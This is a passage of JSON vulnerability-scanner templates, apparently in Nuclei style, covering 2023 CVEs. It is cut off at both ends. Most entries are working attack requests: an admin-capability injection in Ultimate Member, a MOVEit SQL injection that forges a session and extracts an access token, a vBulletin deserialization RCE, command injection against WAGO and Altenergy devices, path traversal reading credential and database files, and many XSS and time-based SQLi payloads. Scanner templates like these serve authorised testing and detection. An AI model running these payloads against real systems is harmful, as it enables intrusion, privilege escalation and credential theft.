application/x-www-form-urlencoded\n\naction=login_or_register_user&eael-resetpassword-submit=true&page_id=124&widget_id=224&eael-resetpassword-nonce={{nonce}}&eael-pass1={{password}}&eael-pass2={{password}}&rp_login={{wordpress-username}}\n"],"payloads":{"password":["{{randstr}}"]},"host-redirects":true,"max-redirects":2,"stop-at-first-match":true,"matchers":[{"type":"word","part":"body_6","words":["\"success\":true","\"data\":"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","part":"body_1","group":1,"regex":["nonce\":\"([0-9a-z]+)"],"internal":true},{"type":"json","part":"body","name":"wordpress-username","group":1,"json":[".[] | .slug",".[].name"],"internal":true},{"type":"regex","part":"body_4","name":"wordpress-username","group":1,"regex":["<\\/dc:creator>"],"internal":true},{"type":"regex","part":"body_5","name":"wordpress-username","group":1,"regex":["\\/author\\/([a-z-]+)\\/"],"internal":true}]}]},{"id":"CVE-2023-29489","info":{"name":"cPanel - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cpanelwebcall/aaaaaaaaaaaa"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["aaaaaaaaaaaa","Invalid webcall ID:"],"condition":"and"},{"type":"status","status":[400]}]}]},{"id":"CVE-2023-29923","info":{"name":"PowerJob <=4.3.2 - Unauthenticated Access","severity":"medium"},"requests":[{"raw":["POST /job/list HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n{\"appId\":1,\"index\":0,\"pageSize\":10}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"success\":true,\"data\":{\"index\":0,\"pageSize\":10,"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-3460","info":{"name":"Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/ultimate-member/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","GET /index.php/register/?{{version}} HTTP/1.1\nHost: {{Hostname}}\n","GET {{path}} HTTP/1.1\nHost: {{Hostname}}\n","POST {{path}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser_login-{{formid}}={{username}}&user_email-{{formid}}={{email}}&user_password-{{formid}}={{password}}&confirm_user_password-{{formid}}={{password}}&first_name-{{formid}}={{firstname}}&last_name-{{formid}}={{lastname}}&form_id={{formid}}&um_request=&_wpnonce={{wpnonce}}&wp_c%C3%A0pabilities%5Badministrator%5D=1\n"],"matchers":[{"type":"dsl","dsl":["contains(to_lower(body_1), \"ultimate member\")","regex(\"wordpress_logged_in_[a-z0-9]{32}\", header_4)","status_code_4 == 302"],"condition":"and"}],"extractors":[{"type":"regex","name":"path","part":"location_2","group":1,"regex":["([a-z:/.]+)"],"internal":true},{"type":"regex","name":"version","part":"body_1","group":1,"regex":["(?i)Stable.tag:\\s?([\\w.]+)"],"internal":true},{"type":"regex","name":"formid","part":"body_3","group":1,"regex":["name=\"form_id\" id=\"form_id_([0-9]+)\""],"internal":true},{"type":"regex","name":"wpnonce","part":"body_3","group":1,"regex":["name=\"_wpnonce\" value=\"([0-9a-z]+)\""],"internal":true},{"type":"dsl","dsl":["\"WP_USERNAME: \"+ username","\"WP_PASSWORD: \"+ password"]}]}]},{"id":"CVE-2023-31059","info":{"name":"Repetier Server - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php"],"matchers-condition":"and","matchers":[{"type":"binary","part":"body","binary":["53514C69746520666F726D6174203300"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1835","info":{"name":"Ninja Forms < 3.6.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=nf-processing&title=%253Csvg%252Fonload%253Dalert%2528document.domain%2529%253E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"Ninja Forms\")"],"condition":"and"}]}]},{"id":"CVE-2023-28432","info":{"name":"MinIO Cluster Deployment - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /minio/bootstrap/v1/verify HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"MINIO_ROOT_PASSWORD\":","\"MINIO_ROOT_USER\":","\"MinioEnv\":"],"condition":"or"},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-34598","info":{"name":"Gibbon v25.0.0 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?q=./gibbon.sql"],"matchers-condition":"and","matchers":[{"type":"word","words":["phpMyAdmin SQL Dump","gibbon"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0448","info":{"name":"WP Helper Lite < 4.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=surveySubmit&a=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains(body, \">\")","contains(body, \"params\\\":{\\\"action\")"],"condition":"and"}]}]},{"id":"CVE-2023-1546","info":{"name":"MyCryptoCheckout < 2.124 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&\"> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"scriptalert(/XSS/)/script\")","contains(body_2, \"mycryptocheckout\")"],"condition":"and"}]}]},{"id":"CVE-2023-37266","info":{"name":"CasaOS < 0.4.4 - Authentication Bypass via Random JWT Token","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/v1/folder?path=%2F"],"headers":{"Authorization":"{{jwt_token}}"},"matchers":[{"type":"word","words":["\"success\":200","\"message\":\"ok\"","content","is_dir"],"condition":"and"}],"extractors":[{"type":"json","json":[".data.content[].path"]}]}]},{"id":"CVE-2023-36934","info":{"name":"MOVEit Transfer - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%27{{session_cookie}}%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LoginName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+RealName=%27test@test.com%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+IpAddress=%27{{public_ip()}}%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%27{{session_cookie}}%27%23 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntransaction=signon\n","POST /human.aspx?ep={{url_encode(ep)}} HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: InitialPage=zzzz.aspx;\n\ntransaction=passchangerequest\n","POST /machine.aspx HTTP/2\nHost: {{Hostname}}\nCookie: siLockLongTermInstID=0; ASP.NET_SessionId={{session}};\n\na=a\n","POST /api/v1/auth/token HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nAccept-Encoding: gzip, deflate\nCookie: ASP.NET_SessionId={{session_cookie}}\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=session&username=x&password=x\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_4","words":["\"refresh_token\"","\"access_token\"","\"token_type\"","\"expires_in\""],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"ep","group":1,"regex":["\\bep=([^&]+)\""],"internal":true,"part":"body_1"},{"type":"regex","name":"session","group":1,"regex":["ASP.NET_SessionId=([^;]+)"],"internal":true,"part":"header_2"},{"type":"regex","group":1,"regex":["\"access_token\":\"([^\"]+)\""],"part":"body_4"}]}]},{"id":"CVE-2023-30019","info":{"name":"Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","words":["Invalid source image"]},{"type":"status","status":[422]}]}]},{"id":"CVE-2023-39120","info":{"name":"Nodogsplash - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/config/nodogsplash"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["nodogsplash","password"],"condition":"and"},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0942","info":{"name":"WordPress Japanized for WooCommerce <2.5.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=wc4jp-options&tab=a HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"\") && contains(body_2, \"woocommerce-for-japan\")"],"condition":"and"}]}]},{"id":"CVE-2023-0562","info":{"name":"Bank Locker Management System v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /banker/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+AND+4719%3D4719--+GZHh&inputpwd=ABC&login=\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"admin\")","contains(body, \"BLMS | Dashboard\")"],"condition":"and"}]}]},{"id":"CVE-2023-1890","info":{"name":"Tablesome < 1.0.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?post_type=tablesome_cpt&a%22%3e%3cscript%3ealert`document.domain`%3c%2fscript%3e HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"tablesome\")"],"condition":"and"}]}]},{"id":"CVE-2023-1362","info":{"name":"unilogies/bumsys < v2.0.2 - Clickjacking","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","!regex('X-Frame-Options', header)","contains(body, 'BUMSys')"],"condition":"and"}]}]},{"id":"CVE-2023-1698","info":{"name":"WAGO - Remote Command Execution","severity":"high"},"requests":[{"raw":["POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n{\"package\":\";id;#\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"license\":","\"name\":","uid=","gid="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-27008","info":{"name":"ATutor < 2.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /atutor/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntoken=asdf\");}alert(document.domain);+function+asdf()+{//\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[");}alert(document.domain); function","ATutor","Login"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24737","info":{"name":"PMB v7.4.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /pmb/admin/convert/export_z3950.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["3@1="]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-25135","info":{"name":"vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /ajax/api/user/save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nadminoptions=&options=&password={{randstr}}&securitytoken={{randstr}}&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a\"googlelogin_vendor_autoload\"%3a0%3a{}i%3a1%3bO%3a32%3a\"Monolog\\Handler\\SyslogUdpHandler\"%3a1%3a{s%3a9%3a\"%00*%00socket\"%3bO%3a29%3a\"Monolog\\Handler\\BufferHandler\"%3a7%3a{s%3a10%3a\"%00*%00handler\"%3br%3a4%3bs%3a13%3a\"%00*%00bufferSize\"%3bi%3a-1%3bs%3a9%3a\"%00*%00buffer\"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a\"CVE-2023-25135\"%3bs%3a5%3a\"level\"%3bN%3b}}s%3a8%3a\"%00*%00level\"%3bN%3bs%3a14%3a\"%00*%00initialized\"%3bb%3a1%3bs%3a14%3a\"%00*%00bufferLimit\"%3bi%3a-1%3bs%3a13%3a\"%00*%00processors\"%3ba%3a2%3a{i%3a0%3bs%3a7%3a\"current\"%3bi%3a1%3bs%3a8%3a\"var_dump\"%3b}}}}&user%5Busername%5D={{randstr}}&userfield=&userid=0\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["string(14)","\"CVE-2023-25135\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1080","info":{"name":"WordPress GN Publisher <1.5.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/options-general.php?page=gn-publisher-settings&tab=%22%2F+onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"/ onmouseover=alert(document.domain);//\")","contains(body_2, \"GN Publisher\")"],"condition":"and"}]}]},{"id":"CVE-2023-3765","info":{"name":"MLflow Absolute Path Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax-api/2.0/mlflow-artifacts/artifacts?path=C:/"],"matchers-condition":"and","matchers":[{"type":"word","words":["\"is_dir\":","\"path\":","\"files\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1730","info":{"name":"SupportCandy < 3.1.5 - Unauthenticated SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nCookie: wpsc_guest_login_auth={\"email\":\"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu\"}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"supportcandy\")"],"condition":"and"}]}]},{"id":"CVE-2023-26360","info":{"name":"Unauthenticated File Read Adobe ColdFusion","severity":"high"},"requests":[{"raw":["POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["password=","encrypted=true","adobe"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2023-28343","info":{"name":"Altenergy Power Control Software C1.2.5 - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /index.php/management/set_timezone HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nAccept-Encoding: gzip, deflate\nReferer: {{RootURL}}/index.php/management/datetime\n\ntimezone=`nslookup {{interactsh-url}}`\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Time Zone updated successfully"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0236","info":{"name":"WordPress Tutor LMS <2.0.10 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(document.domain)%3E&user_id=dd HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"\")","contains(body_2, \"Instructor Registration\")"],"condition":"and"}]}]},{"id":"CVE-2023-0563","info":{"name":"Bank Locker Management System - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /search-locker-details.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsearchinput=%E2%80%9C%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"/>\")","contains(body, \"Bank Locker Management System\")"],"condition":"and"}]}]},{"id":"CVE-2023-2796","info":{"name":"EventON <= 2.1 - Missing Authorization","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["BEGIN:VCALENDAR","END:VCALENDAR"],"condition":"and"},{"type":"word","part":"header","words":["text/Calendar"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-27292","info":{"name":"OpenCATS - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /index.php?m=settings&a=previewPage&url=https://oast.me HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","words":["Page Preview","","Identity Server"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-29622","info":{"name":"Purchase Order Management v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername=test&password=test')+AND+(SELECT+4458+FROM+(SELECT(SLEEP(6)))JblN)+AND+('orQN'='orQN\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, \"status\\\":\\\"incorrect\")"],"condition":"and"}]}]},{"id":"CVE-2023-33440","info":{"name":"Faculty Evaluation System v1.0 - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /ajax.php?action=save_user HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------1037163726497\n\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"id\"\n\n1\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"firstname\"\n\nAdministrator\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"lastname\"\n\na\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"img\"; filename=\"{{randstr}}.php\"\nContent-Type: application/octet-stream\n\n\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"email\"\n\n{{email}}\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"password\"\n\n\n-----------------------------1037163726497\nContent-Disposition: form-data; name=\"cpass\"\n\n\n-----------------------------1037163726497--\n","GET /login.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_1 == 200","regex(\"^1$\", body_1)","!regex(\"^2$\", body_1)","len(body_1) == 1","contains(body_2, \"Faculty Evaluation\")"],"condition":"and"}]}]},{"id":"CVE-2023-23161","info":{"name":"Art Gallery Management System Project v1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["center\">","Art Type"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1454","info":{"name":"Jeecg-boot 3.5.0 qurestSql - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /jeecg-boot/jmreport/qurestSql HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n{\"apiSelectId\":\"1316997232402231298\",\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SQLException","XPATH syntax error:"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["XPATH syntax error: '([a-z_@%]+)'","XPATH syntax error: '([a-z- @%]+)'","XPATH syntax error: '([a-z@%0-9.]+)'"],"part":"body"}]}]},{"id":"CVE-2023-36289","info":{"name":"Webkul QloApps 1.6.0 - Cross-site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nSubmitCreate=1&ajax=true&back=my-account&controller=authentication&email={{email}}&email_create={{email}}\"%20onmouseover=alert(document.domain)%20y=&token={{randstr}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onmouseover=alert(document.domain)","hasConfirmation"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0514","info":{"name":"Membership Database <= 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","POST /wp-admin/admin.php?page=member-database%2Flist_members.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=sort&where=id&operator=%3D&value=asd%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%2F%2F&sortBy=id&ascdesc=asc\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"Member Database\")"],"condition":"and"}]}]},{"id":"CVE-2023-36287","info":{"name":"Webkul QloApps 1.6.0 - Cross-site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncontroller=change-currency9405'-alert(document.domain)-'&id_currency=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'change-currency9405'-alert(document.domain)-'';","customizationIdMessage"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-27179","info":{"name":"GDidees CMS v3.9.1 - Arbitrary File Download","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/_admin/imgdownload.php?filename=imgdownload.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["$filename=$_GET[\"filename\"];","@readfile($filename) OR die();"],"condition":"and"},{"type":"word","part":"header","words":["application/force-download"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2825","info":{"name":"GitLab 16.0.0 - Path Traversal","severity":"high"},"requests":[{"raw":["GET /users/sign_in HTTP/1.1\nHost: {{Hostname}}\n","POST /users/sign_in HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nAccept: */*\n\nuser%5Blogin%5D={{username}}&user%5Bpassword%5D={{password}}&authenticity_token={{token_1}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nAccept: */*\n\ngroup%5Bparent_id%5D=&group%5Bname%5D={{data}}-1&group%5Bpath%5D={{data}}-1&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-2&group%5Bpath%5D={{data}}-2&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-3&group%5Bpath%5D={{data}}-3&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-4&group%5Bpath%5D={{data}}-4&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-5&group%5Bpath%5D={{data}}-5&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-6&group%5Bpath%5D={{data}}-6&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-7&group%5Bpath%5D={{data}}-7&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-8&group%5Bpath%5D={{data}}-8&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-9&group%5Bpath%5D={{data}}-9&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-10&group%5Bpath%5D={{data}}-10&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","POST /groups HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\ngroup%5Bparent_id%5D={{parent_id}}&group%5Bname%5D={{data}}-11&group%5Bpath%5D={{data}}-11&group%5Bvisibility_level%5D=20&authenticity_token={{token_2}}\n","@timeout: 15s\nPOST /projects HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nproject%5Bci_cd_only%5D=false&project%5Bname%5D=CVE-2023-2825&project%5Bselected_namespace_id%5D={{namespace_id}}&project%5Bnamespace_id%5D={{namespace_id}}&project%5Bpath%5D=CVE-2023-2825&project%5Bvisibility_level%5D=20&project%5Binitialize_with_readme=1&authenticity_token={{token_2}}\n","POST 